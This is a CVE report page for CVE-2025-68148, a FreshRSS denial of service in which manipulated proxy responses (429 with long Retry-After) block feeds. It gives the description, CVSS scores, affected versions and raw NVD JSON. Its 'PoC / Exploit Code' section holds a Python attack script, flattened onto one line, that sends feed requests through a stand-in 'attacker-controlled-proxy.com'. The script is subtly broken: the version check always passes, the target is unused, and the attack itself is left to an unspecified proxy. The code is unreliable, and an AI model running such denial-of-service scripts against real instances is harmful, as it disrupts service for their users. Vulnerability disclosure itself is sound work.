Security Vulnerability Report
中文
CVE-2025-68148 CVSS 4.3 MEDIUM

CVE-2025-68148

Published: 2025-12-27 00:15:42
Last Modified: 2025-12-31 21:16:57

Description

FreshRSS is a free, self-hostable RSS aggregator. From version 1.27.0 to before 1.28.0, An attacker could globally deny access to feeds via proxy modifying to 429 Retry-After for a large list of feeds on given instance, making it unusable for majority of users. This issue has been patched in version 1.28.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:* - VULNERABLE
FreshRSS >= 1.27.0
FreshRSS < 1.28.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time """ CVE-2025-68148 PoC - FreshRSS订阅源拒绝服务 This PoC demonstrates how an attacker can trigger a denial of service by manipulating proxy responses to return 429 with large Retry-After values. """ def check_freshrss_version(target_url): """Check if FreshRSS version is vulnerable (1.27.0 - 1.28.0)""" try: response = requests.get(target_url, timeout=10) # Version check logic would go here return True except Exception as e: print(f"Error checking version: {e}") return False def trigger_dos_via_proxy(target_url, proxy_url, feed_urls): """ Simulate the DoS attack by making requests through a malicious proxy that returns 429 responses with large Retry-After values. Args: target_url: FreshRSS instance URL proxy_url: Malicious proxy URL feed_urls: List of feed URLs to target """ proxies = { 'http': proxy_url, 'https': proxy_url } headers = { 'User-Agent': 'FreshRSS/1.27.x', 'Accept': 'application/rss+xml, application/xml, text/xml' } for feed_url in feed_urls: try: # Request through malicious proxy response = requests.get( feed_url, proxies=proxies, headers=headers, timeout=30 ) # The malicious proxy would return: # HTTP/1.1 429 Too Many Requests # Retry-After: 86400 (24 hours) if response.status_code == 429: print(f"[+] DoS triggered for feed: {feed_url}") print(f"[+] Retry-After: {response.headers.get('Retry-After', 'N/A')}") except requests.exceptions.RequestException as e: print(f"[-] Error targeting {feed_url}: {e}") def verify_dos_effect(target_url, feed_urls): """Verify that feeds are now inaccessible due to cached 429 responses""" results = {'accessible': [], 'blocked': []} for feed_url in feed_urls: try: response = requests.get(feed_url, timeout=10) if response.status_code == 200: results['accessible'].append(feed_url) else: results['blocked'].append(feed_url) except: results['blocked'].append(feed_url) print(f"[+] Accessible feeds: {len(results['accessible'])}") print(f"[!] Blocked feeds: {len(results['blocked'])}") return results if __name__ == "__main__": TARGET = "https://vulnerable-freshrss-instance.com/" MALICIOUS_PROXY = "http://attacker-controlled-proxy.com:8080" FEED_LIST = [ "https://example1.com/feed", "https://example2.com/feed", "https://example3.com/feed" ] print("CVE-2025-68148 - FreshRSS DoS via Proxy Response Manipulation") print("=" * 60) if check_freshrss_version(TARGET): print("[*] Target appears to be running vulnerable version") print("[*] Initiating DoS attack via proxy manipulation...") trigger_dos_via_proxy(TARGET, MALICIOUS_PROXY, FEED_LIST) print("[*] Verifying attack effectiveness...") verify_dos_effect(TARGET, FEED_LIST)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68148", "sourceIdentifier": "[email protected]", "published": "2025-12-27T00:15:42.167", "lastModified": "2025-12-31T21:16:56.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreshRSS is a free, self-hostable RSS aggregator. From version 1.27.0 to before 1.28.0, An attacker could globally deny access to feeds via proxy modifying to 429 Retry-After for a large list of feeds on given instance, making it unusable for majority of users. This issue has been patched in version 1.28.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.27.0", "versionEndExcluding": "1.28.0", "matchCriteriaId": "78C074CB-5A8F-4811-8AFE-6CD10A20A88F"}]}]}], "references": [{"url": "https://github.com/FreshRSS/FreshRSS/commit/7d4854a0a4f5665db599f18c34035786465639f3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/8029", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-qw34-frg7-gf78", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-qw34-frg7-gf78", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}